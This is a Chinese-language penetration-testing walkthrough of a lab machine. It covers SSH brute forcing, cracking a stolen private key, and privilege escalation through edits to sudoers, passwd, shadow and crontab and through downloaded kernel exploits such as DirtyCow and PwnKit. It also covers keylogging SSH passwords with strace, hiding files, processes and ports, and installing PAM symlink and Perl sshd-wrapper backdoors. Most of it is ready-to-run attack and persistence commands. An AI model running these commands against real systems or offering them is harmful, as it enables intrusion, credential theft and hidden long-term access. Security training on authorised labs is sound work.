basic渗透

33 阅读11分钟

免责声明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。

只供对已授权的目标使用测试,对未授权目标的测试作者不承担责任,均由使用本人自行承担

渗透测试

信息收集

nmap常扫描

快速主机发现

nmap -sn 192.168.30.0/24

确定目标IP

nmap -sV -p- --open 192.168.30.171

1763539229950.png

漏洞探测

先看22端口

nmap -sV -sC -p 22 192.168.30.171

1763539779502.png

九头蛇

ssh版本有历史漏洞

CVE-2018-15473 OpenSSH 7.7 及之前版本中存在信息泄露漏洞。该漏洞源于网络系统或产品在运行过程中存在配置等错误。未授权的攻击者可利用漏洞获取受影响组件敏感信息。

CVE-2016-6210 OpenSSH 用户枚举漏洞。SSH 守护进程允许用户进行身份验证时的时间差进行用户枚举。

先用户名枚举

msfconsole -qx "use auxiliary/scanner/ssh/ssh_enumusers; set RHOSTS 192.168.30.171; set USER_FILE /home/kali/Desktop/top500.txt; exploit"

发现root用户,尝试弱口令 1763541639130.png

使用rockyou.txt

hydra -l root -P /home/kali/Desktop/rockyou.txt ssh://192.168.30.171

或者同时爆破用户和密码

hydra -L username.txt -P passwd.txt ssh://192.168.30.171

或者tscanplus1763540675420.png

没爆出来,root可能不存在弱口令

空密码也不存在

看看139端口

nmap -p 139 --script smb-vuln-* 192.168.30.171
nmblookup -A 192.168.30.171
nmap -p 139 --script smb-vuln-ms08-067 192.168.30.171
enum4linux -a 192.168.30.171

可以发现

Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Wed Nov 19 04:10:09 2025

 =========================================( Target Information )=========================================                                                 
                                                                             
Target ........... 192.168.30.171                                            
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none


 ===========================( Enumerating Workgroup/Domain on 192.168.30.171 )===========================                                                 
                                                                             
                                                                             
[+] Got domain/workgroup name: WORKGROUP                                     
                                                                             
                                                                             
 ===============================( Nbtstat Information for 192.168.30.171 )===============================                                                 
                                                                             
Looking up status of 192.168.30.171                                          
        BASIC2          <00> -         B <ACTIVE>  Workstation Service
        BASIC2          <03> -         B <ACTIVE>  Messenger Service
        BASIC2          <20> -         B <ACTIVE>  File Server Service
        ..__MSBROWSE__. <01> - <GROUP> B <ACTIVE>  Master Browser
        WORKGROUP       <00> - <GROUP> B <ACTIVE>  Domain/Workgroup Name
        WORKGROUP       <1d> -         B <ACTIVE>  Master Browser
        WORKGROUP       <1e> - <GROUP> B <ACTIVE>  Browser Service Elections

        MAC Address = 00-00-00-00-00-00

 ==================================( Session Check on 192.168.30.171 )==================================                                                  
                                                                             
                                                                             
[+] Server 192.168.30.171 allows sessions using username '', password ''     
                                                                             
                                                                             
 ===============================( Getting domain SID for 192.168.30.171 )===============================                                                  
                                                                             
Domain Name: WORKGROUP                                                       
Domain Sid: (NULL SID)

[+] Can't determine if host is part of domain or part of a workgroup         
                                                                             
                                                                             
 ==================================( OS information on 192.168.30.171 )==================================                                                 
                                                                             
                                                                             
[E] Can't get OS info with smbclient                                         
                                                                             
                                                                             
[+] Got OS info for 192.168.30.171 from srvinfo:                             
        BASIC2         Wk Sv PrQ Unx NT SNT Samba Server 4.3.11-Ubuntu       
        platform_id     :       500
        os version      :       6.1
        server type     :       0x809a03


 ======================================( Users on 192.168.30.171 )======================================                                                  
                                                                             
Use of uninitialized value $users in print at ./enum4linux.pl line 972.      
Use of uninitialized value $users in pattern match (m//) at ./enum4linux.pl line 975.

Use of uninitialized value $users in print at ./enum4linux.pl line 986.
Use of uninitialized value $users in pattern match (m//) at ./enum4linux.pl line 988.

 ================================( Share Enumeration on 192.168.30.171 )================================                                                  
                                                                             
                                                                             
        Sharename       Type      Comment
        ---------       ----      -------
        Anonymous       Disk      
        IPC$            IPC       IPC Service (Samba Server 4.3.11-Ubuntu)
Reconnecting with SMB1 for workgroup listing.

        Server               Comment
        ---------            -------

        Workgroup            Master
        ---------            -------
        WORKGROUP            BASIC2

[+] Attempting to map shares on 192.168.30.171                               
                                                                             
//192.168.30.171/Anonymous      Mapping: OK Listing: OK Writing: N/A         

[E] Can't understand response:                                               
                                                                             
NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*                                   
//192.168.30.171/IPC$   Mapping: N/A Listing: N/A Writing: N/A

 ===========================( Password Policy Information for 192.168.30.171 )===========================                                                 
                                                                             
                                                                             

[+] Attaching to 192.168.30.171 using a NULL share

[+] Trying protocol 139/SMB...

[+] Found domain(s):

        [+] BASIC2
        [+] Builtin

[+] Password Info for Domain: BASIC2

        [+] Minimum password length: 5
        [+] Password history length: None
        [+] Maximum password age: 37 days 6 hours 21 minutes 
        [+] Password Complexity Flags: 000000

                [+] Domain Refuse Password Change: 0
                [+] Domain Password Store Cleartext: 0
                [+] Domain Password Lockout Admins: 0
                [+] Domain Password No Clear Change: 0
                [+] Domain Password No Anon Change: 0
                [+] Domain Password Complex: 0

        [+] Minimum password age: None
        [+] Reset Account Lockout Counter: 30 minutes 
        [+] Locked Account Duration: 30 minutes 
        [+] Account Lockout Threshold: None
        [+] Forced Log off Time: 37 days 6 hours 21 minutes 



[+] Retieved partial password policy with rpcclient:                         
                                                                             
                                                                             
Password Complexity: Disabled                                                
Minimum Password Length: 5


 ======================================( Groups on 192.168.30.171 )======================================                                                 
                                                                             
                                                                             
[+] Getting builtin groups:                                                  
                                                                             
                                                                             
[+]  Getting builtin group memberships:                                      
                                                                             
                                                                             
[+]  Getting local groups:                                                   
                                                                             
                                                                             
[+]  Getting local group memberships:                                        
                                                                             
                                                                             
[+]  Getting domain groups:                                                  
                                                                             
                                                                             
[+]  Getting domain group memberships:                                       
                                                                             
                                                                             
 =================( Users on 192.168.30.171 via RID cycling (RIDS: 500-550,1000-1050) )=================                                                  
                                                                             
                                                                             
[I] Found new SID:                                                           
S-1-22-1                                                                     

[I] Found new SID:                                                           
S-1-5-32                                                                     

[I] Found new SID:                                                           
S-1-5-32                                                                     

[I] Found new SID:                                                           
S-1-5-32                                                                     

[I] Found new SID:                                                           
S-1-5-32                                                                     

[+] Enumerating users using SID S-1-5-32 and logon username '', password ''  
                                                                             
S-1-5-32-544 BUILTIN\Administrators (Local Group)                            
S-1-5-32-545 BUILTIN\Users (Local Group)
S-1-5-32-546 BUILTIN\Guests (Local Group)
S-1-5-32-547 BUILTIN\Power Users (Local Group)
S-1-5-32-548 BUILTIN\Account Operators (Local Group)
S-1-5-32-549 BUILTIN\Server Operators (Local Group)
S-1-5-32-550 BUILTIN\Print Operators (Local Group)

[+] Enumerating users using SID S-1-22-1 and logon username '', password ''  
                                                                             
S-1-22-1-1000 Unix User\kay (Local User)                                     
S-1-22-1-1001 Unix User\jan (Local User)

[+] Enumerating users using SID S-1-5-21-2853212168-2008227510-3551253869 and logon username '', password ''                                              
                                                                             
S-1-5-21-2853212168-2008227510-3551253869-501 BASIC2\nobody (Local User)     
S-1-5-21-2853212168-2008227510-3551253869-513 BASIC2\None (Domain Group)

 ==============================( Getting printer info for 192.168.30.171 )==============================                                                  
                                                                             
No printers returned.

试着连接

smbclient //192.168.30.171/Anonymous -N
smbclient //192.168.30.171/Anonymous -U Jan

可以空密码进入,但没什么用

msf漏洞利用

msfconsole -qx "use exploit/linux/samba/is_known_pipename;set RHOST 192.168.30.171;set SMB_SHARE Anonymous;run"

发现都失败了,只找到staff.txt文件

Announcement to staff:

PLEASE do not upload non-work-related items to this share. I know it's all in fun, but
this is how mistakes happen. (This means you too, Jan!)

-Kay

这两个用户是存在的

445端口

nmap --script smb* -p 445 192.168.30.171

8009/8080端口

工具:Ghostcat-CNVD-2020-10487

python ajpShooter.py http://192.168.30.171:8080/ 8009 /WEB-INF/web.xml read
<?xml version="1.0" encoding="UTF-8"?>
<!--
 Licensed to the Apache Software Foundation (ASF) under one or more
  contributor license agreements.  See the NOTICE file distributed with
  this work for additional information regarding copyright ownership.
  The ASF licenses this file to You under the Apache License, Version 2.0
  (the "License"); you may not use this file except in compliance with
  the License.  You may obtain a copy of the License at

      http://www.apache.org/licenses/LICENSE-2.0

  Unless required by applicable law or agreed to in writing, software
  distributed under the License is distributed on an "AS IS" BASIS,
  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  See the License for the specific language governing permissions and
  limitations under the License.
-->
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
                      http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
  version="4.0"
  metadata-complete="true">

  <display-name>Welcome to Tomcat</display-name>
  <description>
     Welcome to Tomcat
  </description>

</web-app>

但是读取别的文件都失败了

失败

python ajpShooter.py http://192.168.30.171:8080/ 8009 /WEB-INF/classes/test.class read -o a.txt
python ajpShooter.py http://192.168.30.171:18080/demo 8009 /a.txt eval

CVE-2025-24813

1763561123943.png

put方法被禁了,算了

80端口

dirsearch目录扫描

dirsearch -u http://192.168.30.171/

1763825917257.png

扫出一个,查看1763826156483.png1763860188022.png1763860217302.png

for J: ...and I was able to crack your hash really easily...
只有密码简单,解密才简单

SSH突破

既然发现了kay和jan,而jan有弱口令,爆破此用户

使用rockyou.txt

gunzip /usr/share/wordlists/rockyou.txt.gz
hydra -l jan -P /usr/share/wordlists/rockyou.txt ssh://192.168.30.171 -t 64

1763862237563.png

[22][ssh] host: 192.168.30.171   login: jan   password: armando

连接jan

ssh jan@192.168.30.171

连接成功,关闭历史命令功能

HISTFILE=/dev/null HISTSIZE=0 HISTFILESIZE=0; set +o history; history -c

尝试提权

1763868220910.png

没有权限,查看谁有sudo权限

cat /etc/group

1764753747606.png

kay有sudo权限,想办法登录kay

查看文件

ls -la /home/kay

1764753983970.png

查看kay的pass.bak文件

cat pass.bak

没有权限,那看看.ssh里的文件

cd .ssh
ls -la

1763863984060.png

我们发现了用户kay的.ssh目录,其中包含authorized_keys、id_rsa(私钥)和id_rsa.pub(公钥),并且均有读取权限

复制id_rsa文件到本地

scp jan@192.168.30.171:/home/kay/.ssh/id_rsa .

1763869576801.png

尝试使用私钥直接登录

#修改密钥文件权限
chmod 600 id_rsa
#使用私钥连接
ssh -i id_rsa kay@192.168.30.171

1763872308608.png

加密了,解密

解密

使用ssh2john + John the Ripper
# 将SSH私钥转换为John可破解的格式
ssh2john idr_sa > key.hash

# 使用John破解
john --wordlist=rockyou.txt key.hash

# 查看破解出的密码
john --show key.hash

1763865983362.png1763866037811.png

ssh -i key kay@192.168.30.171

1763866203275.png1763866408188.png

heresareallystrongpasswordthatfollowsthepasswordpolicy$$

确认是kay的密码 1763866785592.png

hashcat
hashcat key rockyou.txt

1763867841699.png

对比发现第一个方法更快

信息收集

提权之信息收集

查看可登录的用户

grep -E '/(bash|sh|zsh|csh|tcsh|ksh)$' /etc/passwd

查看所有的超级用户

grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'

拥有sudo权限的用户

cat /etc/group

查看passwd、shadow权限

ls -la /etc/passwd /etc/shadow
-rw-r--r-- 1 root root   1639 Apr 23  2018 /etc/passwd
-rw-r----- 1 root shadow 1182 Dec  3 03:43 /etc/shadow

/etc/passwd所有用户可读,/etc/shadow的shadow用户组可读

查看发行版本

cat /etc/*-release

查看内核版本

uname -a

1763949833785.png1763949084491.png

寻找对应版本的exp提权

查找敏感文件,可以根据开放的端口和可登录的用户判定

find / -type f -name "*.bash_history" -o -name "*config*" -o -name "web.xml" -o -name "*database*" -o -name "*pass*" 2>/dev/null

寻找suid文件,并且所属用户或组为root

执行suid文件时,进程获得的是文件所有者的权限

find / -type f -user root -perm -4000 -exec ls -la {} \; 2>/dev/null
find / -type f -user root -perm -4000 -exec ls -la {} + 2>/dev/null

1764822840104.png

-rwsr-xr-x 1 root root         30800 Jul 12  2016 /bin/fusermount
-rwsr-xr-x 1 root root         40152 Nov 30  2017 /bin/mount
-rwsr-xr-x 1 root root        142032 Jan 28  2017 /bin/ntfs-3g
-rwsr-xr-x 1 root root         44168 May  7  2014 /bin/ping
-rwsr-xr-x 1 root root         44680 May  7  2014 /bin/ping6
-rwsr-xr-x 1 root root         40128 May 16  2017 /bin/su
-rwsr-xr-x 1 root root         27608 Nov 30  2017 /bin/umount
-rwsr-xr-x 1 root root         49584 May 16  2017 /usr/bin/chfn
-rwsr-xr-x 1 root root         40432 May 16  2017 /usr/bin/chsh
-rwsr-xr-x 1 root root         75304 May 16  2017 /usr/bin/gpasswd
-rwsr-xr-x 1 root root         32944 May 16  2017 /usr/bin/newgidmap
-rwsr-xr-x 1 root root         39904 May 16  2017 /usr/bin/newgrp
-rwsr-xr-x 1 root root         32944 May 16  2017 /usr/bin/newuidmap
-rwsr-xr-x 1 root root         54256 May 16  2017 /usr/bin/passwd
-rwsr-xr-x 1 root root         23376 Jan 17  2016 /usr/bin/pkexec
-rwsr-xr-x 1 root root        136808 Jul  4  2017 /usr/bin/sudo
-rwsr-xr-x 1 root root       2437320 Nov 24  2016 /usr/bin/vim.basic
-rwsr-xr-- 1 root messagebus   42992 Jan 12  2017 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root         10232 Mar 27  2017 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root        428240 Jan 18  2018 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root         14864 Jan 17  2016 /usr/lib/policykit-1/polkit-agent-helper-1
-rwsr-sr-x 1 root root         85832 Nov 30  2017 /usr/lib/snapd/snap-confine
-rwsr-xr-x 1 root root         38984 Jun 14  2017 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic

危险的suid文件,任何编程语言编译器、解释器和编辑器

find nano vim more/less man cp mv awk sed curl wget cat nmap perl ruby gdb python

寻找sgid文件

进程获得的是文件所属组的权限

find / -type f -group root -perm -2000 -exec ls -la {} + 2>/dev/null
-rwsr-sr-x 1 root root 85832 Nov 30  2017 /usr/lib/snapd/snap-confine
常规信息收集

查看端口开放情况

netstat -antup

1764819083085.png

可以发现有一个不对外开放的8005端口处于监听状态,可以对tomcat服务进行关闭

也可以使用这个命令

ss -antup

首先将8005端口转发至linux8888端口

ssh -L 0.0.0.0:8888:127.0.0.1:8005 jan@192.168.30.172 -N -f

连接Linux8888端口执行SHUTDOWN命令关闭tomcat服务

talnet 127.0.0.1 8888

1764849001567.png1764849211451.png

查看同一网段的机器

cat > /tmp/ps.sh << 'EOF' && chmod +x /tmp/ps.sh && /tmp/ps.sh
for i in {1..254}; do ping -c1 -W1 192.168.30.$i 2>/dev/null | grep "bytes from" & done; wait; echo "完成"
rm -f "$0"
EOF
echo 'for i in {1..254}; do ping -c1 -W1 192.168.30.$i 2>/dev/null | grep "bytes from" & done; wait; echo "完成"' > /tmp/scan.sh && chmod +x /tmp/scan.sh && /tmp/scan.sh && rm /tmp/scan.sh
arp -a

备份文件

find /etc /opt /root /home /tmp /srv /var /proc -readable -type f \( -name *.bak -o -name *.gz -o -name *.zip -o -name *.tar -o -name *.tar.* -o -name *.rar -o -name *.sql \) -exec ls -la {} + 2>/dev/null
find /etc /opt /root /home /tmp /srv /var /proc -readable -regex ".*\.\(bak\|gz\|zip\|tar\|tar\..*\)$"  -exec ls -la {} + 2>/dev/null

数据库文件

find /etc /opt /root /home /tmp /srv /var /proc -readable -type f \( -name "*.sql" -o -name "*.dump" -o -name "*.db" -o -name "*.mdb" -o -name "*.mdf" -o -name "*.ndf" -o -name "*.ldf" \) -exec ls -la {} + 2>/dev/null

ssh

find /root /home -type f -readable \( -name *id_ed* -o -name *id_rsa* -o -name *id_dsa* -o -name *known_hosts* \) -exec ls -la {} + 2>/dev/null

配置文件

find /etc /opt /root /home /tmp /srv /var /proc -type f \( -name "*.conf" -o -name "*.cfg" -o -name "*.ini" -o -name "*.yml" -o -name "*.yaml" -o -name "*.toml" -o -name "*.cnf" -o -name "*.json" -o -name "*.xml" -o -name *config \) -exec ls -la {} + 2>/dev/null

用户历史记录

find /root /home -type f -name *.bash_history -exec ls -la {} + 2>/dev/null

防火墙规则

iptables -L -n

提权

sudo

检查是否能提权

sudo -l

1763868103290.png

kay拥有完整的sudo权限

sudo su

1763868565980.png

现在是root用户了

ls /root或ls ~

1763868724347.png1763868824929.png

vim修改文件提权

发现**/usr/bin/vim.basic**,可以通过这个执行命令

/usr/bin/vim.basic -c ':!/bin/sh'

这个并没有提权成功

/etc/sudoers

添加

vim -Es /etc/sudoers -c '$put =\"jan ALL=(ALL:ALL) NOPASSWD: ALL\"' -c 'wq!'
jan ALL=(ALL:ALL) NOPASSWD: ALL

尝试提权

sudo -i

1764158051197.png

cat /etc/sudoers | grep 'jan'

1764416000800.png

注释或删除

vim -Es /etc/sudoers -c '%s/^jan\s*ALL=(ALL:ALL) NOPASSWD: ALL/# &/' -c 'wq!'
vim -Es /etc/sudoers -c 'g/^jan\s*ALL=(ALL:ALL) NOPASSWD: ALL/d' -c 'wq!'
/etc/passwd

生成SHA-512密文

openssl passwd -6 123456
$6$ZgXacSBCs5HE7DwU$zDFoTJ33vYJEhmhFjs2wQ2JAHCU1oe/ptommxhf344TQb1o8WukHgk8h5aYbNhO/oarlQQ1Q6dzsJtwM8TDDo.

直接将root中的"x"换成密文

vim -Es -c '%s/^root:\zs[^:]*\ze:/$6$ZgXacSBCs5HE7DwU$zDFoTJ33vYJEhmhFjs2wQ2JAHCU1oe/ptommxhf344TQb1o8WukHgk8h5aYbNhO/oarlQQ1Q6dzsJtwM8TDDo./' -c 'wq!' /etc/passwd
vim -Es -c '%s/^root:\zs[^:]*\ze:/x/' -c 'wq!' /etc/passwd

或者添加一个hack用户

vim -Es -c '$put =\"hack:$6$ZgXacSBCs5HE7DwU$zDFoTJ33vYJEhmhFjs2wQ2JAHCU1oe/ptommxhf344TQb1o8WukHgk8h5aYbNhO/oarlQQ1Q6dzsJtwM8TDDo.:0:0:root:/root:/bin/bash\"' -c 'wq!' /etc/passwd
su hack

1764428282209.png

提权后将其删除

vim -Es -c 'g/^hack:.*/d' -c 'wq!' /etc/passwd
/etc/crontab
vim -Es /etc/crontab -c '$put =\"*  *    * * *   root chmod +s /bin/bash\"' -c 'wq!'

即在末尾添加

*  *    * * *   root chmod +s /bin/bash

一分钟后添加s权限,然后查看权限

ls -l /bin/bash

发现添加上s权限后,执行

/bin/bash -p

1764171797786.png

这个的根目录还是jan

cd /root
cat flag.txt

1764171957207.png

/etc/shadow

修改为空只能本地提权,但是往里面添加密码hash即可

openssl passwd -6 jan
$6$W35moC99uXqmJ65H$JzEeUW4zq59NA6Uaa4R5FvFGJ1UVVmD4i8ZfUR85YHhie3u9a2WWtKX7eeTVXb4oCUdbn2hCUsFXqHFCPvNTq.
vim -Es -c '%s/^root:\zs[^:]*\ze:/$6$W35moC99uXqmJ65H$JzEeUW4zq59NA6Uaa4R5FvFGJ1UVVmD4i8ZfUR85YHhie3u9a2WWtKX7eeTVXb4oCUdbn2hCUsFXqHFCPvNTq./' -c 'wq!' /etc/shadow

1764390558901.png

如果在/etc/passwd里添加了密码,那么系统依旧认为/etc/passwd里的密码有效,在/etc/shadow里做的修改是无效的

最终都是为了登录root,如果能访问,拿去解密也行

显示vim内容

vim -Es +%p +q! /etc/shadow | grep 'root'
内核提权

脚本

https://github.com/liamg/traitor
https://github.com/The-Z-Labs/linux-exploit-suggester
https://github.com/jondonas/linux-exploit-suggester-2
https://github.com/belane/linux-soft-exploit-suggester
https://github.com/carlospolop/PEASS-ng
https://github.com/diego-treitos/linux-smart-enumeration
https://github.com/redcode-labs/Bashark
https://github.com/rebootuser/LinEnum

下面将使用第二个提权

尽量不要尝试,内核可能直接崩溃

linux-exploit-suggester用于检查环境存在的提权条件

上传并执行

scp linux-exploit-suggester/linux-exploit-suggester.sh jan@192.168.30.171:/tmp

执行脚本

cd /tmp
./linux-exploit-suggester.sh
CVE-2017-16995

优先查看显示棕色字体的漏洞,因为可能性高才会显示 1764559650277.png

下载

# wget 方式
wget --content-disposition https://www.exploit-db.com/download/45010
# curl 方式
curl -OJ https://www.exploit-db.com/download/45010

静态编译

gcc -pthread -static 45010.c -o 45010

上传到目标机器

scp 45010 jan@192.168.30.171:/tmp

执行

./45010

失败1764562940893.png

脏牛

下载

curl -OJ https://www.exploit-db.com/download/40611

编译

gcc -pthread -static 40611.c -o 40611

传到docker里编译,docker_id 为 79ce8d29d866

docker cp 40611.c 79ce8d29d866:/workspace
gcc -pthread 40611.c -o dirty -lcrypt

生成hash

openssl passwd -1 hack   
$1$0.atYTn2$/7p3dNtGkXAJ./auK2z5.0

上传脚本

scp 40611 jan@192.168.30.171:/tmp

在目标主机执行脚本

./40611 /etc/passwd "hack:$1$0.atYTn2$/7p3dNtGkXAJ./auK2z5.0:0:0:root:/root:/bin/bash"

失败1764565341472.png

脏牛2
curl -OJ https://www.exploit-db.com/download/40839

docker里编译

gcc -pthread 40839.c -o 40839 -lcrypt

上传并执行

scp 40839 jan@192.168.30.172:/tmp
./40839

输入密码123451764565917386.png

su firefart

这个也失效了1764566759721.png

PwnKit

CVE-2021-4034

curl -OJ https://codeload.github.com/berdav/CVE-2021-4034/zip/main
unzip CVE-2021-4034-main.zip
cd CVE-2021-4034-main
拉取docker镜像

渡渡鸟docker镜像同步站:docker.aityp.com/

先查看发行版本

cat /etc/*-release

1764679552885.png

根据前面的x86_x64架构选择amd641764751718983.png

拉取镜像并运行

docker pull swr.cn-north-4.myhuaweicloud.com/ddn-k8s/docker.io/ubuntu:16.04 \
docker run -itd --restart=always \
 -v /home/kali/uppower/exp/CVE-2021-4034-main/CVE-2021-4034-main:/workspace \
 --name ubuntu \
 swr.cn-north-4.myhuaweicloud.com/ddn-k8s/docker.io/ubuntu:16.04 \
/bin/bash 

1764667648600.png

在容器内执行命令

apt update && apt install -y gcc
apt-get install make

确保有文件

make

删除多余文件

rm -r cve-2021-4034.* pwnkit.c README.md dry-run Makefile LICENSE

在kali上将文件上传

scp -r CVE-2021-4034-main jan@192.168.30.171:/tmp

在目标主机上运行

cd CVE-2021-4034-main
./cve-2021-4034

1764665921665.png1764666044324.png

防御措施:打补丁

CVE-2021-3156

先检查有没有sudo权限

sudo -l

没有,那就测不了

CVE-2017-7308
curl -OJ https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2017-7308/poc.c

docker里编译

gcc -o poc poc.c

执行

./poc

失败1764690822667.png

CVE-2017-6074
curl -OJ https://www.exploit-db.com/download/41458
gcc -o 41458 41458.c
./41458

如果长时间没反应,注意提示,不要中断,否则内核会崩溃

..............................................

CVE-2017-1000112
curl -OJ https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2017-1000112/poc.c
gcc -o poc poc.c

这个漏洞需要内核版本在4.11-4.11.5,根据uname -a得出版本过低了

CVE-2016-8655
curl -OJ https://www.exploit-db.com/download/40871
gcc 40871.c -o 40871 -pthread

下次一定

CVE-2016-4557
curl -OJ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip
apt install pkg-config libfuse-dev fuse

执行编译脚本

./compile.sh

上传

scp -r ebpf_mapfd_doubleput_exploit jan@192.168.30.172:/tmp

执行

cd ebpf_mapfd_doubleput_exploit
./doubleput

最终,只有PwnKit成功了,所以优先考虑可能性高且离目标版本发布时间久的提权漏洞 1764751258337.png

内网横向

前面的找敏感信息也是一部分以及破解/etc/shadow里的密码

监听本地发起连接的ssh流量
vim -Es ~/.bashrc -c "norm G" -c "norm oalias ssh='strace -o /tmp/.sshpwd-\`date '+%d%h%m%s'\`.log -e read,write,connect -s2048 ssh'" -c "wq!"

或者

echo "alias ssh='strace -o /tmp/.sshpwd-\`date '+%d%h%m%s'\`.log -e read,write,connect -s2048 ssh'" >/tmp/toor;vim -Es -c '$r /tmp/toor' -c 'wq!' ~/.bashrc;rm /tmp/toor

激活新添加的

source ~/.bashrc

目标发起ssh连接后的流量会被记录

只输出想要的结果

grep -E '^write\(4, "[^"]*password[^"]*".*=|^read\(4, "[[:alnum:]\\]*", 1\)|^write\(4, "\\\\n", 1\)' /tmp/.sshpwd-*.log

1765112184157.png

键盘记录提取

grep -E '^write\(4, "[^"]+@[^"]*'"'"'s password: ".*=|^read\(4, "."|^write\(4, "\\\\n"' /tmp/.sshpwd-*.log

删除操作,找到此行并删除

vim -Es ~/.bashrc -c 'g/alias ssh.*strace/d' -c 'wq!'
监听ssh外来流量

查看进程关系

在进程树中查找与 sshd 相关的进程,并显示每个匹配进程的上下文,前后各两行

pstree -ap | grep -A 2 -B 2 sshd

1765376783710.png

监听sshd主进程

strace -f -p 1148 -o /tmp/.ssh.log -e trace=read,write,connect -s 2048

1765377525691.png1765377640083.png

提取密码

grep -oP '\\\\f\\\\0\\\\0\\\\0\\\\[0-9]{1,3}[a-zA-Z0-9_]+' /tmp/.ssh.log

1765379970280.png

键盘记录

awk '/write.*= 1$|write.*= 2$|write.*= 3$/ {print $0}' /tmp/.ssh.log

1765380574399.png

awk '/write.*= [123]$/ {match($0, /"([^"]+)"/, a); printf "%s", a[1]} END{print ""}' /tmp/.ssh.log

1765380703714.png

权限维持

隐藏文件

常规隐藏

mv test.txt .test.txt
setfattr -n "user.hidden" -v 1 .ssh.log
getfattr .ssh.log

创建参数混淆文件

当执行 rm -- 时,会误以为用户要执行rm --help等参数,即默认用户输入参数错误

echo "test" > --

甚至可以把文件命名为--help,-rf等rm参数1765432904054.png

使用绝对路径或者相对路径即可删除,因为这时候rm不再理解./--为参数,而是文件

rm ./--
rm /tmp/--

将文件放入/tmp目录下的常驻文件,类似.font-unix、.ICE-unix等1765433183500.png

隐藏文件时间戳

把index.php文件的时间赋给webshell.php

touch -r hsperfdata_tomcat9 ./--help

1765434632380.png

指定时间戳

touch -t 202512110810.20 ./ts -c
# -c 文件不存在的时候不会创建

但是

ls -la --full-time

这个命令显示出来的时间,一眼就能看出--help文件不正常1765436462216.png

故应该使用-d更精确

touch -d  "2025-12-10 06:24:39.067830158" ./--help -c

1765437657508.png

但终归有缺陷,stat能够显示最后的修改时间

stat ./--help

1765440132289.png

隐藏权限

锁定文件

chattr +i ./-rf
#解除
chattr -i ./-rf

1765438450560.png

设置目录为仅追加

mddir test
chattr +a test
#解除
chattr -a test

1765438950163.png1765439152017.png

查看属性

lsattr ./-rf

1765439331323.png

隐藏历史操作前面已经提及,不再赘述

隐藏端口

使用iptables

目标机器

# 1. 创建端口复用链
iptables -t nat -N LETMEIN

# 端口复用规则
iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22

# 开启开关,默认在filter表添加,不用指定表
iptables -A INPUT -p tcp --dport 81 -m recent --set --name letmein --rsource -j ACCEPT

# 关闭开关,同上
iptables -A INPUT -p tcp --dport 82 -m recent --name letmein --remove -j ACCEPT

# 主规则
iptables -t nat -A PREROUTING -p tcp --dport 80 -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN

1765443347057.png

参数解释

append  -A / delete  -D / list  -L / new  -N / jump  -j / match  -m / table  -t / protocol  -p / destination port  --dport / record source  --rsource

发起的连接机器

开启

curl http://192.168.30.172:81

关闭

curl http://192.168.30.172:82

1765454979890.png

删除添加的规则

查看 nat 表的 PREROUTING 链并显示行号

iptables -t nat -L PREROUTING -n --line-numbers

查看 filter 表的 INPUT 链,不指定表,即没有-t,默认filter表

iptables -L INPUT -n --line-number

1765460089213.png

确认是添加的规则

删除 nat 表的 PREROUTING 链的第1个

iptables -t nat -D PREROUTING 1

删除 filter 表的 INPUT 链的第1、2个

# 删除掉第1个之后,第2个会变成第1个,故先删第二个
iptables -D INPUT 2
iptables -D INPUT 1
# 或执行两次下面的命令
iptables -D INPUT 1

清空并删除LETMEIN链

iptables -t nat -F LETMEIN
iptables -t nat -X LETMEIN
# delete-chain -X / flush -F
# 检查LETMEIN是否已清除
iptables -t nat -L LETMEIN -n --line-number

使用之前的查看命令查看是否已清除添加的规则

隐藏进程
CACM
wget https://github.com/RuoJi6/CACM/releases/download/CACM_v2.3.1/CACM_amd64_zh

...

chmod +x CACM
sudo ./CACM
ps aux

1765534868035.png

hide 124629

1765534921853.png1765534990391.png

删除掉遗留的文件

rmdir .cacm_124629

应对方法:

由于挂的是空目录,所以硬链接一般为2( ... ),并且大小为40,权限也很可疑

ls -la /proc/ | grep \"2 root\"

1765543577119.png

解除隐藏进程,之前的我已经取消挂载了

umount /proc/119135

1765543787290.png1765543882502.png

backdoor
ssh

允许PAM认证

grep -i "usepam" /etc/ssh/sshd_config

1765702202870.png

查看root能否密码登录

grep -in "root" /etc/ssh/sshd_config

1765702995955.png

改为允许

sed -i '28c\PermitRootLogin yes' /etc/ssh/sshd_config

查找可用软连接名称

find /etc/pam.d/sshd | xargs grep "pam_rootok"

1765696212991.png

sufficient:如果成功则立即通过认证

pam_rootok:检查调用进程的UID是否为0(root用户)

通过软连接建立

ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=8091

或者在发现不允许密码时

/tmp/su -oPort=8091 -oPermitRootLogin=yes

连接

ssh -p 8091 root@192.168.30.172

1765704211612.png

去除软连接后门

ps aux | grep "/tmp/su"
kill 382
rm -r /tmp/su

1765705057365.png1765705100843.png

SSH Wrapper

目标

cd /usr/sbin
mv sshd ../bin
echo '#!/usr/bin/perl' > sshd
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
/etc/init.d/sshd restart #或 systemctl restart sshd

攻击机

socat STDIO TCP4:192.168.30.172:22,sourceport=13377

1765778155305.png

SSH公钥登录

攻击机生成公私钥

